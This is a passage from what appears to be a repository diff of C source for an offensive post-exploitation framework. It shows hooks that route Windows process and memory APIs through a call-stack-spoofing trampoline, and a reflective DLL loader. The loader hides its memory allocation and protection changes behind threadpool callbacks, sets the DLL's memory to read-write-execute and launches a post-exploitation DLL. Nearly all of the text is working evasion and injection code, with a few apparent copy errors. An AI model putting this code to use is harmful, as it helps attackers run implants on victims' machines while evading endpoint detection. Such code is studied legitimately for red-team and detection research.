dprintf("[POSTEX] _ResumeThread\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(ResumeThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hThread);
return (DWORD)draugr(&call);
}
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
#if DEBUG
dprintf("[POSTEX] _CreateThread\n");
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
dprintf(" -> dwStackSize : %d\n", dwStackSize);
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
dprintf(" -> lpParameter : 0x%lp\n", lpParameter);
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateThread);
call.argc = 6;
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
call.args[1] = (ULONG_PTR)(dwStackSize);
call.args[2] = (ULONG_PTR)(lpStartAddress);
call.args[3] = (ULONG_PTR)(lpParameter);
call.args[4] = (ULONG_PTR)(dwCreationFlags);
call.args[5] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
#if DEBUG
dprintf("[POSTEX] _CreateRemoteThread\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
dprintf(" -> dwStackSize : %d\n", dwStackSize);
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
dprintf(" -> lpParameter : 0x%lp\n", lpParameter);
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateRemoteThread);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
call.args[2] = (ULONG_PTR)(dwStackSize);
call.args[3] = (ULONG_PTR)(lpStartAddress);
call.args[4] = (ULONG_PTR)(lpParameter);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
{
#if DEBUG
dprintf("[POSTEX] _OpenProcess\n");
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
dprintf(" -> dwProcessId : %d\n", dwProcessId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(OpenProcess);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwProcessId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
{
#if DEBUG
dprintf("[POSTEX] _OpenThread\n");
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
dprintf(" -> dwThreadId : %d\n", dwThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(OpenThread);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwThreadId);
return (HANDLE)draugr(&call);
}
BOOL WINAPI _CloseHandle(HANDLE hObject)
{
#if DEBUG
dprintf("[POSTEX] _CloseHandle\n");
dprintf(" -> hObject : 0x%lp\n", hObject);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CloseHandle);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hObject);
return (BOOL)draugr(&call);
}
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
{
#if DEBUG
dprintf("[POSTEX] _CreateFileMappingA\n");
dprintf(" -> hFile : 0x%lp\n", hFile);
dprintf(" -> lpFileMappingAttributes : 0x%lp\n", lpFileMappingAttributes);
dprintf(" -> flProtect : %d\n", flProtect);
dprintf(" -> dwMaximumSizeHigh : %d\n", dwMaximumSizeHigh);
dprintf(" -> dwMaximumSizeLow : %d\n", dwMaximumSizeLow);
dprintf(" -> lpName : %s\n", lpName);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateFileMappingA);
call.argc = 6;
call.args[0] = (ULONG_PTR)(hFile);
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
call.args[2] = (ULONG_PTR)(flProtect);
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
call.args[5] = (ULONG_PTR)(lpName);
return (HANDLE)draugr(&call);
}
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
{
#if DEBUG
dprintf("[POSTEX] _MapViewOfFile\n");
dprintf(" -> hFileMappingObject : 0x%lp\n", hFileMappingObject);
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> dwFileOffsetHigh : %d\n", dwFileOffsetHigh);
dprintf(" -> dwFileOffsetLow : %d\n", dwFileOffsetLow);
dprintf(" -> dwNumberOfBytesToMap : %d\n", dwNumberOfBytesToMap);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(MapViewOfFile);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hFileMappingObject);
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
{
#if DEBUG
dprintf("[POSTEX] _UnmapViewOfFile\n");
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(MapViewOfFile);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpBaseAddress);
return (BOOL)draugr(&call);
}
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
{
#if DEBUG
dprintf("[POSTEX] _VirtualQuery\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
dprintf(" -> dwLength : %d\n", dwLength);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualQuery);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(lpBuffer);
call.args[2] = (ULONG_PTR)(dwLength);
return (SIZE_T)draugr(&call);
}
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
{
#if DEBUG
dprintf("[POSTEX] _DuplicateHandle\n");
dprintf(" -> hSourceProcessHandle : 0x%lp\n", hSourceProcessHandle);
dprintf(" -> hSourceHandle : 0x%lp\n", hSourceHandle);
dprintf(" -> hTargetProcessHandle : 0x%lp\n", hTargetProcessHandle);
dprintf(" -> lpTargetHandle : 0x%lp\n", lpTargetHandle);
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
dprintf(" -> dwOptions : %d\n", dwOptions);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(DuplicateHandle);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
call.args[1] = (ULONG_PTR)(hSourceHandle);
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
call.args[3] = (ULONG_PTR)(lpTargetHandle);
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
call.args[5] = (ULONG_PTR)(bInheritHandle);
call.args[6] = (ULONG_PTR)(dwOptions);
return (BOOL)draugr(&call);
}
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
{
#if DEBUG
dprintf("[POSTEX] _ReadProcessMemory\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
dprintf(" -> nSize : %d\n", nSize);
dprintf(" -> lpNumberOfBytesRead : 0x%lp\n", lpNumberOfBytesRead);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(ReadProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
return (BOOL)draugr(&call);
}
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
{
#if DEBUG
dprintf("[POSTEX] _WriteProcessMemory\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
dprintf(" -> nSize : %d\n", nSize);
dprintf(" -> lpNumberOfBytesWritten : 0x%lp\n", lpNumberOfBytesWritten);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(WriteProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
return (BOOL)draugr(&call);
}
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
{
#if DEBUG
dprintf("[POSTEX] _ExitThread\n");
dprintf(" -> dwExitCode : %d\n", dwExitCode);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_ExitThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwExitCode);
draugr(&call);
}
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
#if DEBUG
dprintf("[POSTEX] _CreateProcessA\n");
dprintf(" -> lpApplicationName : %s\n", lpApplicationName);
dprintf(" -> lpCommandLine : %s\n", lpCommandLine);
dprintf(" -> lpProcessAttributes : 0x%lp\n", lpProcessAttributes);
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
dprintf(" -> bInheritHandles : %d\n", bInheritHandles);
dprintf(" -> dwCreationFlags : %d\n", dwCreationFlags);
dprintf(" -> lpEnvironment : 0x%lp\n", lpEnvironment);
dprintf(" -> lpCurrentDirectory : %s\n", lpCurrentDirectory);
dprintf(" -> lpStartupInfo : 0x%lp\n", lpStartupInfo);
dprintf(" -> lpProcessInformation : 0x%lp\n", lpProcessInformation);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateProcessA);
call.argc = 10;
call.args[0] = (ULONG_PTR)(lpApplicationName);
call.args[1] = (ULONG_PTR)(lpCommandLine);
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
call.args[4] = (ULONG_PTR)(bInheritHandles);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpEnvironment);
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
call.args[8] = (ULONG_PTR)(lpStartupInfo);
call.args[9] = (ULONG_PTR)(lpProcessInformation);
return (BOOL)draugr(&call);
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
#if DEBUG
dprintf("[POSTEX] _Sleep\n");
dprintf(" -> dwMilliseconds : %d\n", dwMilliseconds);
#endif
/* only stack spoof if sleep is >= 1s */
if (dwMilliseconds < 1000) {
Sleep(dwMilliseconds);
return;
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(Sleep);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
draugr(&call);
}
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(LoadLibraryA);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
return (HMODULE)draugr(&call);
}
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
char * result = (char *)GetProcAddress(hModule, lpProcName);
/*
* Check to see what function is being resolved.
* Note that lpProcName may be an ordinal, not a string.
*/
if ((ULONG_PTR)lpProcName >> 16 == 0) {
/* it's an ordinal */
return result;
}
/* Look at the ones we want to hook */
/* Calculte function hash */
DWORD h = hash((char *)lpProcName);
if (h == GETPROCADDRESS_HASH) {
return (char *)_GetProcAddress;
}
else if (h == LOADLIBRARYA_HASH) {
return (char *)_LoadLibraryA;
}
else if (h == VIRTUALALLOC_HASH) {
return (char *)_VirtualAlloc;
}
else if (h == VIRTUALALLOCEX_HASH) {
return (char *)_VirtualAllocEx;
}
else if (h == VIRTUALPROTECT_HASH) {
return (char *)_VirtualProtect;
}
else if (h == VIRTUALPROTECTEX_HASH) {
return (char *)_VirtualProtectEx;
}
else if (h == VIRTUALFREE_HASH) {
return (char *)_VirtualFree;
}
else if (h == GETTHREADCONTEXT_HASH) {
return (char *)_GetThreadContext;
}
else if (h == SETTHREADCONTEXT_HASH) {
return (char *)_SetThreadContext;
}
else if (h == RESUMETHREAD_HASH) {
return (char *)_ResumeThread;
}
else if (h == CREATETHREAD_HASH) {
return (char *)_CreateThread;
}
else if (h == CREATEREMOTETHREAD_HASH) {
return (char *)_CreateRemoteThread;
}
else if (h == OPENPROCESS_HASH) {
return (char *)_OpenProcess;
}
else if (h == OPENTHREAD_HASH) {
return (char *)_OpenThread;
}
else if (h == CLOSEHANDLE_HASH) {
return (char *)_CloseHandle;
}
else if (h == CREATEFILEMAPPINGA_HASH) {
return (char *)_CreateFileMappingA;
}
else if (h == MAPVIEWOFFILE_HASH) {
return (char *)_MapViewOfFile;
}
else if (h == UNMAPVIEWOFFILE_HASH) {
return (char *)_UnmapViewOfFile;
}
else if (h == VIRTUALQUERY_HASH) {
return (char *)_VirtualQuery;
}
else if (h == DUPLICATEHANDLE_HASH) {
return (char *)_DuplicateHandle;
}
else if (h == READPROCESSMEMORY_HASH) {
return (char *)_ReadProcessMemory;
}
else if (h == WRITEPROCESSMEMORY_HASH) {
return (char *)_WriteProcessMemory;
}
else if (h == EXITTHREAD_HASH) {
g_ExitThread = result;
return (char *)_ExitThread;
}
else if (h == CREATEPROCESSA_HASH) {
return (char *)_CreateProcessA;
}
else if (h == SLEEP_HASH) {
return (char *)_Sleep;
}
return result;
}
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
g_dllBase = dllBase;
g_dllSize = dllsz;
init_frame_info();
}
+301
View File
@@ -0,0 +1,301 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
void setupProxy(void * loaderArgument);
__attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
setupProxy(loaderArgument);
}
#include "loaderdefs.h"
#include "loader.h"
#include "picorun.h"
#include "hash.h"
#include "resolve_eat.h"
#include "proxy.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define DLL_POSTEX_START 0x4
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
WIN32_FUNC(RtlLookupFunctionEntry);
WIN32_FUNC(GetModuleHandleA);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualAllocEx);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualProtectEx);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(GetThreadContext);
WIN32_FUNC(SetThreadContext);
WIN32_FUNC(ResumeThread);
WIN32_FUNC(CreateThread);
WIN32_FUNC(CreateRemoteThread);
WIN32_FUNC(OpenProcess);
WIN32_FUNC(OpenThread);
WIN32_FUNC(CloseHandle);
WIN32_FUNC(CreateFileMappingA);
WIN32_FUNC(MapViewOfFile);
WIN32_FUNC(UnmapViewOfFile);
WIN32_FUNC(VirtualQuery);
WIN32_FUNC(DuplicateHandle);
WIN32_FUNC(ReadProcessMemory);
WIN32_FUNC(WriteProcessMemory);
WIN32_FUNC(ExitThread);
WIN32_FUNC(CreateProcessA);
WIN32_FUNC(Sleep);
TPALLOCWORK TpAllocWork;
TPPOSTWORK TpPostWork;
TPRELEASEWORK TpReleaseWork;
void * NtAllocateVirtualMemory;
void * NtProtectVirtualMemory;
} WIN32FUNCS;
void findNeededFunctions(WIN32FUNCS * funcs)
{
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
}
#ifdef WIN_X86
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
#else
#define GETRESOURCE(x) (char *)&x
#endif
typedef struct {
int length;
char value[];
} RESOURCE;
char __DLLDATA__[0] __attribute__((section("my_data")));
char __PICDATA__[0] __attribute__((section("my_proxy")));
char __HOKDATA__[0] __attribute__((section("my_hooks")));
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
char * loader_start() {
#ifdef WIN_X86
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
#else
return (char *)go;
#endif
}
typedef struct {
char draugrpic[4096];
char hookdata[4096];
char hookcode[12288];
char dllbase[0];
} LAYOUT;
void __attribute__((naked)) workCallback()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov rbx, rdx;" // move struct as we're going to stomp rdx
"mov rax, [rbx];" // function pointer
"mov rcx, [rbx + 0x8];" // argument 1
"mov rdx, [rbx + 0x10];" // argument 2
"mov r8, [rbx + 0x18];" // argument 3
"mov r9, [rbx + 0x20];" // argument 4
"mov r10, [rbx + 0x30];" // argument 6
"mov [rsp + 0x30], r10;"
"mov r10, [rbx + 0x28];" // argument 5
"mov [rsp + 0x28], r10;"
"jmp rax;" // jump
".att_syntax prefix;"
);
}
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
void * baseAddress = NULL;
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
PTP_WORK WorkReturn = NULL;
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
funcs->Sleep(100);
return baseAddress;
}
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
PTP_WORK WorkReturn = NULL;
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
funcs->Sleep(100);
}
#ifdef DEBUG
#include "debug.h"
#endif
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData, LPVOID loaderArgument)
{
char * hooks;
/* Time to load the hook PICO */
hooks = GETRESOURCE(__HOKDATA__);
#ifdef DEBUG
PIC_STRING(picosz, "[POSTEX] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
#endif
/* Load it into the layout */
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
/* Make the code section RX */
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
/* Call its entry point */
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
/* Now load the DLL */
LoadDLL(dllData, dll, layout->dllbase);
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
/* Get its entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
/* yolo this RWX for now */
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
/* Call it twice */
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
}
void setupProxy(LPVOID loaderArgument)
{
WIN32FUNCS funcs;
char * dll;
DLLDATA dllData;
LAYOUT * layout;
RESOURCE * pic;
/* Resolve functions */
findNeededFunctions(&funcs);
/* Grab the DLL because we need its size */
dll = GETRESOURCE(__DLLDATA__);
/* Parse the headers */
ParseDLL(dll, &dllData);
/* Allocate memory for everything we'll load */
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
#ifdef DEBUG
PIC_STRING(mem, "[POSTEX] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
#endif
/* Grab the Draugr PIC */
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
/* Copy it into memory */
memcpy(layout->draugrpic, pic->value, pic->length);
/* Flip memory to RX */
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(layout->draugrpic);
/* Carry on loading the rest */
reflectiveLoader(&funcs, layout, dll, &dllData, loaderArgument);
}
+225
View File
@@ -0,0 +1,225 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
